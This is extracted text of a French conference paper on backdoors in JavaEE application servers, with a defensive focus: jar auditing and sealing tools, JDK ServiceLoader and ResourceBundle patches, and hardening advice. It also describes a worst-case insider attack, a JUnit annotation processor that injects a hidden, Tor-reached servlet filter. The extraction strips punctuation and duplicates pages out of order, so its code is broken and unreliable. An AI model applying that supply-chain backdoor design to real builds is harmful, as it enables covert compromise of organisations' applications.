Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

